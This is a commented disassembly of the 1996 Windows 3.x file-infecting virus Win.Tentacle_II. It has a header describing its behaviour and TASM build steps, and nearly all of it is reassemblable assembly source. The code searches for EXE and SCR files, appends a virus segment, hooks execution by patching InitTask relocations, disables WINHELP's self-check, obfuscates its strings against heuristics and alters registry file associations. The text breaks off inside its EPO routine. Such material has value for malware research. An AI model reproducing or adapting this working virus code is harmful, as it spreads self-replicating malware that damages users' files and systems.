comment % Name : Win.Tentacle_II Alias : Shell Author : ? Type : direct acting Win16 NE appender Size : 10608 bytes virus body (because of relocation stuff infected files increase for at least 10634 bytes) Origin : ? When : 1996 Status : was in the wild (distributed in sex newsgroups in 1996) Disassembled by : Black Jack Contact me : Black_Jack_VX@hotmail.com | http://www.coderz.net/blackjack Description: When the virus gets activated, it starts to search and infect NE EXE files, first one *.EXE file in the current directory, then two in the C:\WINDOWS directory, then one in some other possible hardcoded windows directories (C:\WIN, C:\WIN31, C:\WIN311, C:\WIN95), and then one *.SCR file in the current dir. While infection the virus creates a temporary file C:\TENTACLE.$$$ and rebuilds there an infected image of the victim file. When the infection process is finished this file is copied back over the victim file and then deleted. The infection technique is adding another segment with the virus code at the end of the file. To add its own entry to the segment table, it checks if there is enough unused room between the end of the NE header tables and the start of the first segment and aborts infection if not. Then it shifts back all tables after the segment table (therefore overwriting the unused fill bytes) and fixes their offsets in the NE header, so that it can write its own segment descriptor at the end of the segment table. In a similar way it adds its own entries to the module-reference and the imported-names table (this is necessary to import two APIs that are used in the payload). The most interesting feature of the virus is that it was one of the first (if not the very first) viruses using EPO techniques, that means infecting the file without modifying its entry point. To do so, it searches the code segment that contains the entry point for a call to the INITTASK API from KERNEL.DLL, or, if that one is not found, the THUNRTMAIN API from VBRUN300.DLL, this are APIs that should be in the very beginning of a program. Then the relocation item that is associated with the API call is patched in such a way that this call is redirected to the virus. While infecting, the virus pays special attention to the WINHELP.EXE files. This file contains a self-check in Win3.11. And that's why the virus patches it in a special way, so that this self-check is disabled. The payload is activated if the virus is run between 1:00am and 1:05am - The virus drops a file C:\TENTACLE.GIF containing a picture of the violet tentacle from the classical computer game "the day of the tentacle" and modifies the registry in such a way that whenever the program associated with .GIF files is run to view such a file it displays the file dropped by the virus. To do so it uses two imported APIs RegSetValue and RegQueryValue from SHELL.DLL. Additionally, if the virus is executed between 1:15am and 2:00am it runs the opposite effect and undoes the changes in the registry that were done in the payload. Reassembly tested with Tasm 3.1 and TLink 3.0 . TASM /M tenta2 TLINK tenta2 first generation sample is a DOS EXE file and infects all suitable EXE files in the current directory only. % virus_size EQU (offset virus_end - offset virus_start) .model tiny .code .386 org 0 virus_start: segm_offset dw 0 segm_phys_size dw virus_size segm_attribs dw 0001110101010000b ; readable code segment with relocs segm_virt_size dw virus_size reloc_stuff: dd 0000FFFFh ; pointers that will become relocated dd 0000FFFFh ; must be initialised by 0000:FFFF dd 0000FFFFh ; This is the real start of the relocation data: dw 3 ; three relocation items db 3 ; 32bit far pointer db 1 ; imported ordinal dw offset RegQueryValue ; offset of relocation item size_of_reloc_stuff1 EQU ($ - reloc_stuff) dw 0 ; will become module-reference index reloc_stuff2 dw 6 ; ordinal RegQueryValue db 3 ; 32bit far pointer db 1 ; imported ordinal dw offset RegSetValue ; offset of relocation item size_of_reloc_stuff2 EQU ($ - reloc_stuff2) dw 0 ; will become module-reference index reloc_stuff3 dw 5 ; ordinal RegSetValue db 3 ; 32bit far pointer db 1 ; imported ordinal dw offset org_entry; offset of relocation item size_of_reloc_stuff3 EQU ($ - reloc_stuff3) dw 0 ; will become module-reference index dw 0 ; will become ordinal of hooked API virus_entry: push ds ; save DS pusha ; save all registers push ss ; DS=SS pop ds sub sp,size stack_frame ; reserve room on stack mov bp,sp ; setup stack frame mov ah,1Ah ; set DTA to DS:DX lea dx,[bp.dta] ; DS:DX=our DTA in our stack frame int 21h mov bx,1 mov cx,offset empty_string mov dx,offset exe_wildcard CALL infect_directory ; infect one EXE file in current dir mov bx,2 mov cx,offset C_windows mov dx,offset exe_wildcard CALL infect_directory ; infect two EXE files in C:\WINDOWS mov bx,1 mov cx,offset C_win mov dx,offset exe_wildcard CALL infect_directory ; infect one EXE file in C:\WIN mov bx,1 mov cx,offset C_win31 mov dx,offset exe_wildcard CALL infect_directory ; infect one EXE file in C:\WIN31 mov bx,1 mov cx,offset C_win311 mov dx,offset exe_wildcard CALL infect_directory ; infect one EXE file in C:\WIN311 mov bx,1 mov cx,offset C_win95 mov dx,offset exe_wildcard CALL infect_directory ; infect one EXE file in C:\WIN95 mov bx,1 mov cx,offset empty_string mov dx,offset scr_wildcard CALL infect_directory ; infect one SCR in current dir mov ah,1Ah ; set DTA to DS:DX mov dx,7Fh ; DX=80h (standart DTA offset) inc dx push ds ; save DS push es ; DS=ES=PSP (or equivalent) segment pop ds int 21h pop ds ; restore DS mov ah,2Ch ; get the system time to CX/DX int 21h ; CH=hours, CL=minutes, DH=seconds ; DL=1/100 seconds cmp cx,100h ; is it before 1:00am ? JB restore_host ; if yes, no payload cmp cx,105h ; is it before 1:05am ? JB change_gif_cmdline ; call payload between 1:00 and 1:05 cmp cx,10Fh ; is it before 1:15am ? JB restore_host ; if yes, no payload cmp cx,200h ; is it after 2:00am ? JAE restore_host ; if yes, no payload mov ax,0 ; restore old gif commandline JMP call_payload ; call payload between 1:15 and 2:00 change_gif_cmdline: mov ax,1 ; change gif commandline to our file call_payload: CALL payload ; play with the gif commandline in ; the win16 "registry". restore_host: add sp,size stack_frame ; free room on stack popa ; restore all registers pop ds ; restore DS JMP cs:org_entry ; jump to the API that was hooked ; for the EPO while infection. C_win db "C:\WIN\", 0 ; The following two subroutines are not used in the whole virus. I guess that ; they were just used in the first generation sample, and accidentally left ; in by the virus author. That's why I also used them in the first generation ; carrier of the disassembly. encrypt_wildcard: push si ; save SI push di ; save DI push es ; save ES push ds ; ES=DS pop es mov di,si ; DI=SI xor al,al ; AL=0 mov cx,0FFFFh ; search whole segment repne scasb ; search for the end of the string dec di ; go back to the terminating zero mov ax,di ; AX=end of string ; SI=start of string sub ax,si ; AX=length of string pop es ; restore ES pop di ; restore DI mov cx,ax ; CX=length of string encrypt_wildcard_loop: inc byte ptr [si] ; encrypt one byte from string inc si ; next byte loop encrypt_wildcard_loop pop si ; restore SI RET encrypt_path: push si ; save SI push di ; save DI push es ; save ES push ds ; ES=DS pop es mov di,si ; DI=SI xor al,al ; AL=0 mov cx,0FFFFh ; search whole segment repne scasb ; search for the end of the string dec di ; go back to the terminating zero mov ax,di ; AX=end of string ; SI=start of string sub ax,si ; AX=length of string pop es ; restore ES pop di ; restore DI mov cx,ax ; CX=length of string encrypt_path_loop: dec byte ptr [si] ; encrypt one byte from string inc si ; next byte loop encrypt_path_loop pop SI ; restore SI RET ; ----- DECRYPT PATH STRING ------------------------------------------------- ; Entry: ; SI - pointer to source buffer ; DI - pointer to destination buffer ; Exit: ; DI - end of destination buffer decrypt_path: cld ; clear direction flag push di ; save DI push es ; save ES push ds ; ES=DS pop es mov di,si ; DI=SI xor al,al ; AL=0 mov cx,0FFFFh ; search whole segment repne scasb ; search for the end of the string dec di ; go back to the terminating zero mov ax,di ; AX=end of string ; SI=start of string sub ax,si ; AX=length of string pop es ; restore ES pop di ; restore DI mov cx,ax ; CX=length of string inc cx ; because the LOOP immedeately follows JMP loop_decrypt_path decrypt_path_loop: lodsb ; load a byte from source string inc al ; decrypt it stosb ; store decrypted byte loop_decrypt_path: loop decrypt_path_loop movsb ; move terminating zero RET ; ----- DECRYPT WINDCARD STRING --------------------------------------------- ; Entry: ; SI - pointer to source buffer ; DI - pointer to destination buffer ; Exit: ; DI - end of destination buffer decrypt_wildcard: cld ; clear direction flag push di ; save DI push es ; save ES push ds ; ES=DS pop es mov di,si ; DI=SI xor al,al ; AL=0 mov cx,0FFFFh ; search whole segment repne scasb ; search for the end of the string dec di ; go back to the terminating zero mov ax,di ; AX=end of string ; SI=start of string sub ax,si ; AX=length of string pop es ; restore ES pop di ; restore DI mov cx,ax ; CX=length of string inc cx ; because the LOOP immedeately follows JMP loop_decrypt_wildcard decrypt_wildcard_loop: lodsb ; load a byte from source string dec al ; decrypt it stosb ; store decrypted byte loop_decrypt_wildcard: loop decrypt_wildcard_loop movsb ; move terminating zero RET C_windows db "C:\WINDOWS\" empty_string db 0 ; ----- INFECT A DIRECTORY -------------------------------------------------- ; ; INPUT: ; BX - number of files to infect ; CX - ptr to path to infect (encrypted) ; DX - ptr to file wildcard ("*.EXE" or "*.SCR", also encrypted) infect_directory: push ds ; save DS push es ; save ES push cs ; DS=CS pop ds push ss ; ES=SS pop es mov si,cx ; SI=ptr to path to decrypt lea di,[bp.full_filespec] ; DI=ptr to where full wildcard will ; be stored ("C:\path\*.ext") push cx ; save CX (pointer to path) CALL decrypt_path ; decrypt the path to full_filespec dec di ; skip the terminating zero mov si,dx CALL decrypt_wildcard ; decrypt the wilcard to full_filespec pop si ; restore ptr to path in SI lea di,[bp.full_filename] CALL decrypt_path dec di ; skip the terminating zero pop es ; restore ES pop ds ; restore DS mov ah,4Eh ; find first file mov cx,2 ; normal and hidden files lea dx,[bp.full_filespec] JMP do_file_search do_file: push es ; save ES push di ; save DI push ss ; ES=SS pop es cld ; clear direction flag lea si,[bp.dta+1Eh] ; SI=ptr to found filename in DTA ; DI points after the path in ; full_filename mov cx,13 ; 8.3 filename (zero terminated) rep movsb ; copy filename pop di ; restore DI pop es ; restore ES test byte ptr [bp.dta+15h],1 ; read only attribute set? JZ not_readonly push dx ; save DX mov ax,3000h ; AX=4301h (set file attributes) add ax,1301h xor ch,ch ; set high byte of attributes to zero mov cl,[bp.dta+15h] ; CL=low byte of attributes ;* and cx,0FFFEh ; delete read-only attribute db 83h,0E1h,0FEh ; fixup - byte match lea dx,[bp.full_filename] ; DS:DX=ptr to filename (with path) int 21h pop dx ; restore DX JC findnext ; error? if so, search on not_readonly: CALL infect_file ; infect the file! JC findnext ; on error while infecting search on! dec bx ; decrement infection counter JZ done_directory ; enough files infected? findnext: mov ah,4Fh ; find next file do_file_search: int 21h ; do the file search JNC do_file ; if no error happened, process file done_directory: RET C_win31 db "C:\WIN31\", 0 exe_wildcard db "*.EXE", 0 scr_wildcard db "*.SCR", 0 ; ----- INFECT THE FILE ----------------------------------------------------- infect_file: pushad ; save all 32bit registers mov ax,3D00h ; open file read-only lea dx,[bp.full_filename] ; DS:DX=pointer to filename int 21h JC exit_infect ; exit on error mov bx,ax ; file handle to BX mov [bp.source_handle],ax ; save file handle CALL get_file_date_time_size mov ah,3Fh ; read DOS header mov cx,64 ; DOS header size lea dx,[bp.rw_buffer] ; Load effective addr int 21h JC close_file mov ax,word ptr [bp.rw_buffer] ; AX=exe marker dec ax ; anti-heuristic cmp ax,"ZM"-1 ; EXE file? JNE close_file ; close if not ;* cmp word ptr [bp.rw_buffer+0Ch],0FFFEh ; maxmem item in DOS ; header is infection marker db 81h,0BEh,0A9h,0,0FEh,0FFh ; fixup - byte match JE close_file ; if equal, file is already infected ;* cmp word ptr [bp.rw_buffer+0Ch],0FFFFh ; maxmem must be standart db 81h,0BEh,0A9h,0,0FFh,0FFh ; fixup - byte match JNE close_file ; if not, don't infect mov word ptr [bp.rw_buffer+0Ch],0FFFEh ; mark as infected cmp word ptr [bp.rw_buffer+18h],40h ; new exe file? JB close_file ; if not, then close ; set tmp_filename to "C:\TENTACLE.$$$", 0 mov dword ptr [bp.tmp_filename+6],0F59E6305h add dword ptr [bp.tmp_filename+6],56A4DE4Fh mov word ptr [bp.tmp_filename+0],":C" mov dword ptr [bp.tmp_filename+10],"$$.E" mov dword ptr [bp.tmp_filename+2],0B1704BC2h add dword ptr [bp.tmp_filename+2],9CD5089Ah mov word ptr [bp.tmp_filename+14],"$" mov ah,3Ch ; create temporary file mov cx,2 ; with hidden attributes lea dx,[bp.tmp_filename] ; DS:DX=ptr to filename int 21h JC close_file ; exit on error mov [bp.dest_handle],ax ; save temp file handle mov ah,40h ; write DOS header of temp file mov bx,[bp.dest_handle] ; BX=file handle mov cx,64 ; CX=length to write lea dx,[bp.rw_buffer] ; DS:DX=address write buffer int 21h JC close_tmp_file mov ecx,dword ptr [bp.rw_buffer+3Ch] ; ECX=new exe header offset mov [bp.new_header_offs],ecx; store it sub ecx,64 ; size of dos header (already written) CALL copy_file_block ; copy rest of DOS stub JC close_tmp_file mov bx,[bp.source_handle] ; BX=handle of victim file mov ah,3Fh ; read NE header mov cx,64 ; size of NE header lea dx,[bp.rw_buffer] ; DX=offset of buffer int 21h JC close_tmp_file mov ax,word ptr [bp.rw_buffer] ; AX=new exe marker inc ax ; anti-heuristic cmp ax,"EN"+1 ; NE exe file? JNE close_tmp_file ; if not, then abort infection mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift mov eax,1 ; EAX=1 shl eax,cl ; EAX=alignment unit mov [bp.alignment_unit],eax ; save it mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift mov eax,[bp.file_size] ; EAX=filesize shr eax,cl ; EAX=filesize in alignment units mov [bp.new_sect_descr+0],ax ; save it as offset for the new ; segment that is going to be created mov eax,[bp.alignment_unit] ; EAX=alignment unit dec eax ; set all bits below alignemt test eax,[bp.file_size] ; filesize already aligned? JZ filesize_already_aligned inc word ptr [bp.new_sect_descr+0] ; if not, round it up filesize_already_aligned: mov ax,cs:segm_phys_size ; copy physical size of segment mov [bp.new_sect_descr+2],ax mov ax,cs:segm_attribs ; copy segment attributes mov [bp.new_sect_descr+4],ax mov ax,cs:segm_virt_size ; copy virutal size of segment mov [bp.new_sect_descr+6],ax cmp word ptr [bp.rw_buffer+22h],40h ;is the segment table directly ; after the NE header (standart case)? JNE close_tmp_file ; if not, better not infect the file CALL EPO JC close_tmp_file mov [bp.module_ordinal],eax ; save module index and ordinal mov [bp.our_reloc_offs],edx ; save offset of relocation item xor eax,eax ; EAX=0 mov ax,word ptr [bp.rw_buffer+22h] ; EAX=offset of segment ; descriptor table from NE hdr add eax,[bp.new_header_offs]; EAX=offset of segment descriptor ; table from file start push eax ; CX:DX=EAX pop dx pop cx mov ax,4200h ; go to segment descriptor table int 21h mov ah,3Fh ; read the offset of the first segment mov cx,2 ; read a word lea dx,[bp.first_segm_offs] ; DX=offset read buffer int 21h JC close_tmp_file mov ax,4201h ; move file pointer relative to ; current position mov cx,-1 ; CX:DX=-2 (new filepointer position) mov dx,-2 int 21h ; set the filepointer back to the ; start of the segment table JC close_tmp_file xor eax,eax ; EAX=0 mov ax,word ptr [bp.first_segm_offs] ; EAX=aligned file offset ; of first segment mul [bp.alignment_unit] ; EAX=file offset of the 1st segment mov [bp.first_segm_offs],eax; save it mov ebx,dword ptr [bp.rw_buffer+2Ch] ; EBX=beginning of the nonresident-name table (relative to filestart). ; This should be the last table in the NE header. xor ecx,ecx ; ECX=0 mov cx,word ptr [bp.rw_buffer+20h] ; ECX=size of nonresident name ; table in bytes add ebx,ecx ; EBX=size of NE header + all tables mov dword ptr [bp.end_of_NE_hdr],ebx sub eax,ebx ; EAX=free room between the end of ; the NE header and the first segment ;* cmp eax,10h ; is there enough room left so we can ; add our stuff (a segment descriptor, ; a module reference and an imported ; name) ? db 66h,83h,0F8h,10h ; fixup - byte match JL close_tmp_file ; if not, we can't infect the file mov ax,word ptr [bp.rw_buffer+1Ch] ; segment count inc ax ; add another segment mov word ptr [bp.rw_buffer+1Ch],ax ; save new segment count mov word ptr [bp.new_entry_CS],ax ; new entry segment index mov word ptr [bp.new_entry_IP],offset virus_entry ; set new ; entry IP and byte ptr [bp.rw_buffer+37h],011110111b ; windows flags: ; kill gangload area ; fixup the offsets of the other NE header tables (all are after the segment ; table and therefore shifted back). It is assumed that all tables are in the ; same order in the file as their offsets are stored in the NE header (except ; for the entry table, which should be the second last). add word ptr [bp.rw_buffer+4h],16 ; entry table add word ptr [bp.rw_buffer+24h],8 ; resource table add word ptr [bp.rw_buffer+26h],8 ; resident-name table add word ptr [bp.rw_buffer+28h],8 ; module-reference table add word ptr [bp.rw_buffer+2Ah],10 ; imported-name table add dword ptr [bp.rw_buffer+2Ch],16 ; nonresident-name table inc word ptr [bp.rw_buffer+1Eh] ; one more entry in ; module-reference table mov ah,40h ; write modified NE header to tmp file mov bx,[bp.dest_handle] ; BX=temp file handle mov cx,64 ; NE header size lea dx,[bp.rw_buffer] ; DX=write buffer offset int 21h JC close_tmp_file xor ecx,ecx ; ECX=0 mov cx,word ptr [bp.rw_buffer+1Ch] ; EAX=number of segments dec cx ; ECX=old number of segments shl cx,3 ; shl 3 means mul 8 (size of a ; segment descriptor) ; ECX=old size of segm descriptor tbl CALL copy_file_block ; copy segment descriptor table JC close_tmp_file mov ah,40h ; write our own segment descriptor ; to the file mov cx,8 ; size of a segment descriptor lea dx,[bp.new_sect_descr] ; DX=offset of write buffer int 21h JC close_tmp_file xor ecx,ecx ; ECX=0 mov cx,word ptr [bp.rw_buffer+2Ah] ; ECX=offset of imported-name ; table from NE header mov ax,word ptr [bp.rw_buffer+1Ch] ; entries in segment table dec ax ; AX=old number of segments shl ax,3 ; multiply with 8 (size of a ; segment descriptor) add ax,word ptr [bp.rw_buffer+22h] ; add offset of segment table ; (from NE header) ; AX=offset end of segment table ; relative to the NE header sub cx,ax ; CX=length of stuff between the ; segment table and the imported-name ; table (resource, resident-name and ; module-reference tables) sub cx,10 ; because the imported-name table ; offset has already been increased ; by 10 before CALL copy_file_block ; copy all those tables JC close_tmp_file mov ax,word ptr [bp.rw_buffer+4] ; offset entry table (from ; NE header) sub ax,6 ; AX=end of old imported-name table sub ax,word ptr [bp.rw_buffer+2Ah] ; ECX=offset of imported-name ; table from NE header mov word ptr [bp.tmp_buffer],ax ; AX=offset into imported-name ; table (the one of the module ; name we're going to add) mov ah,40h ; append our new entry into the ; module reference table, the offset ; of the new module name mov cx,2 ; write one word lea dx,[bp.tmp_buffer] ; DS:DX=pointer to write buffer int 21h JC close_tmp_file xor ecx,ecx ; ECX=0 mov cx,word ptr [bp.rw_buffer+4] ; offset entry table (from ; NE header) sub cx,6 ; CX=end of old imported-name table sub cx,word ptr [bp.rw_buffer+2Ah] ; offset of imported-names ; table from NE header CALL copy_file_block ; copy imported-name table JC close_tmp_file mov ah,40h ; append our module name to the ; imported-name table mov cx,6 ; length to write mov word ptr [bp.tmp_buffer+4],"LL" ; create the string mov dword ptr [bp.tmp_buffer],6DBBFE87h ; 5, "SHELL" add dword ptr [bp.tmp_buffer],0D78C547Eh ; in tmp_buffer lea dx,[bp.tmp_buffer] ; DS:DX=pointer to write buffer int 21h JC close_tmp_file mov cx,word ptr [bp.end_of_NE_hdr] ; end of NE header+all tables ; (offset from filestart sub cx,word ptr [bp.rw_buffer+4] ; offset entry table (from ; NE header) add cx,word ptr [bp.new_header_offs]; BUG! this should be a sub, ; no add! but because the ; filepointer is set new ; immedeately afterwards, this ; never causes any problems. CALL copy_file_block ; copy the rest of the header ; (entry and nonresident-name tables) JC close_tmp_file mov ax,4200h ; set filepointer in the destination ; (temp) file to the start of the ; first segment. push dword ptr [bp.first_segm_offs] pop dx ; CX:DX=first segment offset pop cx int 21h JC close_tmp_file mov ax,4200h ; set filepointer in the source file ; to the start of the first segment mov bx,[bp.source_handle] push dword ptr [bp.first_segm_offs] pop dx ; CX:DX=first segment offset pop cx int 21h JC close_tmp_file mov ecx,0FFFFFFFFh ; whole file body CALL copy_file_block ; copy the file body (all segments ; and relocations) JC close_tmp_file xor eax,eax ; EAX=0 mov ax,[bp.new_sect_descr+0]; EAX=aligned offset of our segment mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift shl eax,cl ; EAX=offset of our segment in bytes push eax ; CX:DX=EAX pop dx pop cx mov ax,4200h ; go to our segment offset in file mov bx,[bp.dest_handle] ; BX=temp file handle int 21h JC close_tmp_file mov ah,40h ; write virus body to file mov cx,(RegQueryValue-virus_start) ; write whole virus body ; excluding the three pointers that ; must be relocated and therefore ; initialised with 0000:FFFF mov dx,offset virus_start ; DX=offset write buffer=virus body push ds ; save DS push cs ; DS=CS pop ds int 21h pop ds ; restore DS JC close_tmp_file mov ah,40h ; write relocation stuff mov cx,size_of_reloc_stuff1 ; size of relocation stuff mov dx,offset reloc_stuff ; DX=offset write buffer push ds ; save DS push cs ; DS=CS pop ds int 21h pop ds ; restore DS JC close_tmp_file mov ah,40h ; write module index mov cx,2 ; one word lea dx,ss:[bp.rw_buffer+1Eh]; number of entries in module ; reference table - our module ; reference is the last int 21h JC close_tmp_file mov ah,40h ; write relocation stuff mov cx,size_of_reloc_stuff2 ; size of relocation stuff mov dx,offset reloc_stuff2 ; DX=offset write buffer push ds ; save DS push cs ; DS=CS pop ds int 21h pop ds ; restore DS JC close_tmp_file mov ah,40h ; write module index mov cx,2 ; one word lea dx,ss:[bp.rw_buffer+1Eh]; number of entries in module ; reference table - our module ; reference is the last int 21h JC close_tmp_file mov ah,40h ; write relocation stuff mov cx,size_of_reloc_stuff3 ; size of relocation stuff mov dx,offset reloc_stuff3 ; DX=offset write buffer push ds ; save DS push cs ; DS=CS pop ds int 21h pop ds JC close_tmp_file mov ah,40h ; write the reference to the API ; we hooked for the EOP mov cx,2 ; CX=4 (size to write) shl cx,1 ; ??? lea dx,[bp.module_ordinal] ; DS:DX=pointer to write buffer int 21h JC close_tmp_file push [bp.our_reloc_offs] ; CX:DX=offset of the relocation item pop dx ; that has to be modifies pop cx mov ax,4200h ; set filepointer relative to int 21h ; filestart JC close_tmp_file mov ah,40h ; write relocation type mov cx,2 ; one word mov word ptr [bp.tmp_buffer],3 ; 32bit far ptr/internal reference lea dx,[bp.tmp_buffer] ; DS:DX=pointer to write buffer int 21h JC close_tmp_file mov ax,4201h ; set new file pointer relative to ; current position mov cx,0 ; CX:DX=2 (skip the offset of the mov dx,2 ; dword that must be relocated) int 21h JC close_tmp_file mov ah,40h ; write a far pointer to the virus ; entrypoint. mov cx,2 ; CX=4 (size to write) shl cx,1 ; ??? lea dx,[bp.new_entry_CS] ; DS:DX=pointer to write buffer int 21h JC close_tmp_file cmp dword ptr [bp.dta+24h],"XE.P" ; check the filename of the JNE not_winhelp ; victim for "WINHELP.EXE" and try to mov eax,dword ptr [bp.dta+20h] ; patch it if the filename matches add eax,98F5548Ah cmp eax,"LEHN"+98F5548Ah JNE not_winhelp cmp word ptr [bp.dta+28h],"E" JNE not_winhelp cmp word ptr [bp.dta+1Eh],"IW" JNE not_winhelp CALL patch_winhelp not_winhelp: mov ah,3Eh ; close temp file int 21h mov bx,[bp.source_handle] ; BX=victim file handle mov ah,3Eh ; close victim file int 21h lea dx,[bp.tmp_filename] ; DS:DX=pointer to temp file name mov ax,3D00h ; reopen temp file read-only int 21h JC delete_tmp_file mov [bp.source_handle],ax ; save handle mov ah,3Ch ; truncate victim file mov cx,0 ; no attributes lea dx,[bp.full_filename] ; DS:DX=ptr to full victim filename int 21h JC delete_tmp_file mov bx,ax ; handle to BX mov [bp.dest_handle],ax ; save handle mov ecx,0FFFFFFFFh ; copy the whole temp file over the CALL copy_file_block ; victim file mov ax,3000h ; AX=5701h - set file date and time add ax,2701h mov bx,[bp.dest_handle] ; BX=handle of victim file mov dx,[bp.file_date] ; CX=old file date mov cx,[bp.file_time] ; DX=old file time int 21h mov ah,3Eh ; close victim file int 21h mov bx,[bp.source_handle] ; BX=handle of temp file mov ah,3Eh ; close temp file int 21h lea dx,[bp.tmp_filename] ; DS:DX=pointer to temp file name mov ah,41h ; delete temp file int 21h clc ; clear carry flag (indicate success) JMP exit_infect close_tmp_file: mov bx,[bp.dest_handle] ; BX=handle of temp file mov ah,3Eh ; close temp file int 21h delete_tmp_file: lea dx,[bp.tmp_filename] ; DS:DX=pointer to temp file name mov ah,41h ; delete temp file int 21h close_file: mov bx,[bp.source_handle] ; BX=handle of victim file mov ah,3Eh ; close fictim file int 21h stc ; set carry flag (indicate error) exit_infect: popad ; restore all 32bit registers RET C_win311 db "C:\WIN311\", 0 ; ----- GET DATE, TIME AND SIZE OF THE OPENED FILE -------------------------- get_file_date_time_size: push cx ; save CX and DX push dx mov ax,5700h ; get date and time int 21h mov [bp.file_date],dx ; save date mov [bp.file_time],cx ; save time xor cx,cx ; CX:DX=0 (distance to move) xor dx,dx mov ax,4202h ; move filepointer relative to int 21h ; end of file ; in DX:AX the new filpointer is ; returned (filesize in this case) mov word ptr [bp.file_size+2],dx ; save filesize mov word ptr [bp.file_size],ax xor cx,cx ; DX:CX=0 (distance to move) xor dx,dx mov ax,4200h ; move filepointer relative to int 21h ; beginning of file pop dx ; restore DX and CX pop cx RET C_win95 db "C:\WIN95\", 0 ; ----- COPY ECX BYTES FROM VICTIM FILE TO TEMP FILE ------------------------ copy_file_block: pushad ; save all 32bit registers sub sp,256 ; allocate a 256 byte buffer from stack mov [bp.bytes_to_copy],ecx ; save length of block to copy mov dx,sp ; DX=offset buffer copy_file_block_loop: cmp [bp.bytes_to_copy],0 ; whole block moved? JE copy_file_block_done ; then we're done cmp [bp.bytes_to_copy],256 ; more than 256 bytes left? JBE copy_remaining_bytes_block mov cx,256 ; then just copy 256 bytes JMP read_file_block copy_remaining_bytes_block: mov cx,word ptr [bp.bytes_to_copy] ; copy all bytes left read_file_block: push cx ; save size to read/write mov bx,[bp.source_handle] ; BX=handle of source file mov ah,3Fh ; read from file function push ds ; save DS push ss ; DS=SS pop ds int 21h pop ds ; restore DS mov bx,[bp.dest_handle] ; BX=handle of destination file mov cx,ax ; write as many bytes as were read mov ah,40h ; write block to temporary file push ds ; save DS push ss ; DS=SS pop ds int 21h pop ds ; restore DS cmp cx,ax ; sizes of read block=written block ? pop cx ; restore size to read and write JNZ copy_file_block_error ; if not equal, then an error occured cmp cx,ax ; size of read/written block equal ; to the size we planned to read? JNE copy_file_block_done ; if not, we're at the end of the file cwde ; convert word to dword (AX->EAX) sub [bp.bytes_to_copy],eax ; we've copied EAX bytes more JMP copy_file_block_loop ; copy next file block copy_file_block_error: stc ; set carry flag (indicate error) JMP copy_file_block_ret copy_file_block_done: clc ; clear carry flag (indicate success) add sp,256 ; remove buffer from stack popad ; restore all 32bit registers copy_file_block_ret: RET ; ----- SEARCH MODULE NAME -------------------------------------------------- ; ; searches the module name pointed to by DX in the imported names table and ; returns in AX its number, otherwise indicates error with carry flag set search_module_name: push bx ; save BX push es ; save ES sub sp,256 ; reserve a 256 bytes buffer on stack mov di,dx push ss ; ES=SS pop es xor eax,eax ; EAX=0 mov ax,word ptr [bp.rw_buffer+28h] ; ptr to module-reference ; table (from NE header) add eax,[bp.new_header_offs]; EAX=ptr to module-reference table ; (from file start) push eax ; CX:DX=EAX pop dx pop cx mov ax,4200h ; set file pointer relative to ; file start to module reference table int 21h JC module_name_not_found mov ah,3Fh ; read module reference table mov cx,word ptr [bp.rw_buffer+1Eh] ; number of entries in ; module reference table shl cx,1 ; multiply with two (each entry ; in module reference table is a word) mov dx,sp ; DS:DX=ptr to our buffer on stack int 21h JC module_name_not_found xor eax,eax ; EAX=0 mov ax,word ptr [bp.rw_buffer+2Ah] ; ptr to imported-names table ; (relative to NE header) add eax,[bp.new_header_offs]; EAX=ptr to imported-names table ; relative to file start push eax ; CX:DX=EAX pop dx pop cx mov ax,4200h ; set file pointer relative to ; file start to imported-names table int 21h JC module_name_not_found mov ah,3Fh ; read imported-names table mov cx,128 ; read 128 bytes mov dx,sp ; DS:DX=ptr to buffer on stack add dx,128 ; assume module-reference table is ; not longer than 128 bytes too int 21h JC module_name_not_found mov bx,sp ; BX=module-reference table buffer xor cx,cx ; CX=0 JMP check_if_all_modules_done search_module_name_loop: mov si,sp ; SI=buffer on stack add si,128 ; SI=imported-names table buffer add si,[bx] ; add offset from module-reference ; table to get a actual entry in the ; imported-names table push cx ; save CX (module counter) push di ; save DI (offset of module name ; to search for) xor ch,ch ; CH=0 mov cl,[si] ; length of this entry in the ; imported-names table inc cl ; also compare the string-length byte cld ; clear direction flag repe cmpsb ; compare the strings pop di ; restore DI (offset of module name ; to search for) pop cx ; restore CX (module counter) JZ found_module_name inc cx ; incerement CX (module counter) add bx,2 ; go to next entry in module- ; reference table check_if_all_modules_done: cmp cx,word ptr [bp.rw_buffer+1Eh] ; done all modules ? JNE search_module_name_loop ; if not, search on JMP module_name_not_found ; if yes, the search failed found_module_name: mov ax,cx ; AX=module counter inc ax ; make counter start from 1 add sp,256 ; remove buffer from stack clc ; clear carry flag (indicate success) JMP exit_search_module_name module_name_not_found: add sp,256 ; remove buffer from stack stc ; Set carry flag exit_search_module_name: pop es ; restore ES pop bx ; restore BX RET ; ----- EPO ENGINE ---------------------------------------------------------- ; ; Entry: none ; ; Exit: ; EAX - module index (in MSW) and API ordinal (in LSW) of found reloc item ; EDX - file offset of relocation item to modify EPO: ; create the string 6, "KERNEL" in tmp_buffer mov dword ptr [bp.tmp_buffer+4],5AD5762Dh mov dword ptr [bp.tmp_buffer+0],0F220B44Bh add dword ptr [bp.tmp_buffer+0],602496BBh add dword ptr [bp.tmp_buffer+4],0A576CF21h lea dx,[bp.tmp_buffer] ; DX=pointer to 6, "KERNEL" CALL search_module_name JC check_VBrun mov dx,5Bh ; ordinal of InitTask API JMP search_API_reference check_VBrun: ; create the string 8, "VBRUN300" in tmp_buffer mov dword ptr [bp.tmp_buffer+4],9062F740h mov dword ptr [bp.tmp_buffer+0],0EDC4FE68h mov byte ptr [bp.tmp_buffer+8],"0" add dword ptr [bp.tmp_buffer+4],9FD05715h add dword ptr [bp.tmp_buffer+0],647D57A0h lea dx,[bp.tmp_buffer] ; Load effective addr CALL search_module_name JC end_EPO mov dx,64h ; ordinal of THUNRTMAIN API search_API_reference: push ax ; save AX (module index) push dx ; save DX (API function ordinal) xor eax,eax ; EAX=0 mov ax,word ptr [bp.rw_buffer+22h] ; segment table offset ; (relative to NE header) add eax,[bp.new_header_offs]; EAX=segment table offset (relative ; to file start) xor ecx,ecx ; ECX=0 mov cx,word ptr [bp.rw_buffer+16h] ; entry code segment index dec cx ; make segment counter start at zero shl ecx,3 ; multiply with 8 (segment table ; entry size) add eax,ecx ; EAX=offset of entry code segment ; descriptor (from filestart) push eax ; CX:DX=EAX pop dx pop cx mov ax,4200h ; go to descriptor of entry code segm int 21h 